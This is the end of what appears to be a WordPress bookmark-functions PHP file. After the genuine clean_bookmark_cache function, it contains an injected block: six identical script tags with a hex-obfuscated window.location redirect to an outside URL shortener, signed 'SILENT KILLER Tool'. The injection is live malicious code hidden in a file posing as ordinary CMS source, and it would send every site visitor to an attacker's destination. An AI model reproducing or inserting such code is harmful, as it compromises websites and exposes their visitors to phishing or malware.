	return $value;
}

/**
 * Deletes the bookmark cache.
 *
 * @since 2.7.0
 *
 * @param int $bookmark_id Bookmark ID.
 */
function clean_bookmark_cache( $bookmark_id ) {
	wp_cache_delete( $bookmark_id, 'bookmark' );
	wp_cache_delete( 'get_bookmarks', 'bookmark' );
	clean_object_term_cache( $bookmark_id, 'link' );
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>

SILENT KILLER Tool